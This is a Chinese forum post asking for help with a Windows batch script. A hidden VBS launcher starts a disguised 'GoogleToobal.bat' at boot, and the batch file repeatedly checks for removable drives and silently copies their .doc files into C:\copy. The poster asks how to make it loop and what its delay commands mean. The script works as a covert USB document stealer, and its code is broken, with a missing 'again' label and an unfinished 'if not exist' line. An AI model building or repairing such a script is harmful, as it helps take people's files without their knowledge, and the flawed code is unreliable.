- 帖子
- 6
- 积分
- 118
- 技术
- 0
- 捐助
- 0
- 注册时间
- 2009-3-17
|
[文本处理] 求助批处理开机脚本自动复制移动存储设备的内容到指定目录?
首先我在启动中添加一个VBS 代码如下:
set WshShell = CreateObject("WScript.Shell")
cmd=WshShell.RUN("J:\GoogleToobal.bat", runhide)
J:\GoogleToobal.bat 的代码如下
@echo off
cls
del /Q /f "%temp%\copy.tmp" >nul 2>nul
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto again
if errorlevel==0 goto copy
:end
rem 没有检测到可移动磁盘!
if not exist
%temp%\sleep.exe 20s
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.doc c:\copy >nul 2>nul
)
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again
此脚本在开机后自动运行 这时如果有移动存储设备即复制到C:\COPY文件夹
但如果此时没有移动存储设备 那脚本将自动关闭
求助:
1 怎样使这个脚本自动重复运行
2 %temp%\sleep.exe 20s 的意义
3 ping 127.0.0.1 -n 20 >nul 2>nul 的用法和解释
谢谢请高手赐教 |
|